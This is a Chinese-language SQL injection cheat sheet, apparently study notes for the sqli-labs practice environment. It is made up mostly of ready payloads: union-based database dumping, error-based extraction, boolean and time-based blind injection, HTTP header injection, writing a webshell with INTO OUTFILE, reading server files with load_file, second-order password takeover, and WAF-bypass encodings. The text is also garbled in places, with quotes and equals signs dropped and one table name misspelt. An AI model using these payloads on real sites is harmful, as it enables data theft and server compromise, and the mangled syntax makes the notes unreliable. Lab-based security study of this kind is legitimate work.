)
一、注入类型判断1、 先输入 ?id1 如果报错大概率是字符型。2、 ?id1 and 11-- 正常显示 ?id1 and 12-- 报错或异常显示 数字型注入?id1 and 11-- 正常显示 ?id1 and 12-- 正常显示 字符型注入注入方式均以字符型单引号闭合为例二、闭合符的判断以单引号为例本质输入正确的闭合符让它与后端语句中的闭合符匹配从而使另一个无法匹配报错。有回显时?id1 报错则大概率为该闭合符。无回显时?id1 or sleep(3)-- 利用sleep()函数判断。sleep()函数运行则为正确闭合符。三、注入方法注红色为共同的地方1、联合查询注入?id1 and order by 5--//判断列数?id1 and 12 union select 1,2,3--//判断报错点 在此之后要在参数处构造永假条件?id1 and 12 union select 1,(select group_concat(schema_name)from information_schema.schemata),3-- //爆库名?id1‘ and 12 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema库名),3-- //爆表名?id1 and 12 union select 1,(select group_concat(column_name)from information_schema.columns where table_schema库名 and table_name表名),3-- //爆列名?id1 and 12 union select 1,(select 列名 from 库名.表名),3-- //获取数据也可将?id1 and 12 换成?id-12、报错注入substr(,n1,n2)从n1位置开始算上n1自己截取n2长度的字符串。网页显示最长字符为32个字节所以会存在显示不全的情况用substr()函数抓取分段获取内容。注意报错注入在回显结果中会有我们自行添加的非法字符它会占相应的字节需要控制n2来避免回显信息丢失。?id1 and extractvalue(1,concat(~,substr((select group_concat(schema_name)from information_schema.schemata),1,31)))--?id1 and updatexml(1,concat(~,substr((select group_concat(schema_name)from infromation_schema.schemata),1,31)),1)--?id1 and (select 1 from (select count(*),concat(substr((select group_concat(schema_name)from information_schema.schemata),1,31),floor(rand(0)*2))x from information_schema.tables group by x)a)--3、盲注bool?id1 and (select length(database()))0--?id1 and ascii(substr((select database()),1,1))0--?id1 and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema库名),1,1))0--sleep?id1 and sleep(if(length(database())0,1,0))--?id1 and sleep(if(ascii(substr(database(),1,1))0,1,0))--?id1 and sleep(if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema库名),1,1))0,1,0))--4、http头文件注入burp suite抓包找refereruser-agentxffcookie字段。对于referer和user-agent字段在字段尾测试注入点成功后在测试闭合符以单引号为例 [payload] ,,)#其中[payload]用联合查询或报错注入对于cookie字段可能存在用and 11注释其中可能存在base64编码https://base64.us/对于其中的报错注入extractvalue(1,concat(0x7e,database()))先变成这样再进行编码5、文件写入注入同样以单引号闭合为例?id1 order by 3 -- //爆出列数?id1 and 12 union select 1,2,3-- //判断回显位如果无回显的话可用sleep()函数或写入字符串查看网页源码写完语句逐个试一下等对web路径说明常见路径XAMPP C:\xampp\htdocs\sqli-labs\Less-7\PHPstudy C:\phpstudy_pro\WWW\sqli-labs\Less-7\Linux /var/www/html/sqli-labs/Less-7/以上均可根据URL反推由绿色底的部分为基础。如果更改了路径需要测试出路径先将小马换成字符串测试更改路径用url访问看能否访问成功成功则是该路径。?id1 and union select 1,?php 小马?,3 file函数 路径文件名.php --其中要注意语句中单双引号的引用不要和闭合符冲突file函数函数作用核心场景load_file()读取服务器文件窃取敏感文件如配置、密码INTO OUTFILE写入文本文件有换行符写入 webshell 等文本脚本INTO DUMPFILE写入二进制文件写入图片马、二进制程序等select load_file(路径)select 写入内容 into outfile 路径 用双斜线C:\\或/select 写入内容 into dumpfile 路径 用双斜线C:\\或/6、文件外带前两步同文件写入?id1 union select 1,concat(database(),|,user()), 3 into outfile Web目录绝对路径/文件名 -- //外带数据库信息concat(load_file(文件路径))//外带文件内容执行成功后访问URLhttp://写入文件的ip/文件名7、二阶注入1修改用户密码注册新用户admin‘#其中admin为要修改密码的用户为闭合符#为注释符登录成功后更改新用户密码即可更改admin的密码。2###还没整理完四、WAF(web防火墙)绕过大小写双写同功能函数替换逻辑表达式and 11比较符替换如like替换等编码URL编码、base64编码、十六进制编码、ascii码编码、Unicode 编码、二次编码/**/过滤空格时代替空格、包裹敏感字/*select*/、拆分敏感字s/**/electsubstr()函数抓取将被过滤的关键字插入字符串中并在字符串中用substr()来抓取关键字如substr(dselectddddd,2,6)括号处理空格过滤用括号将空格后的一个可以表达完整意思的语句包裹起来以达到空格间隔的效果。如(select(group_concat(schema_name))from(information_schema.schemata))。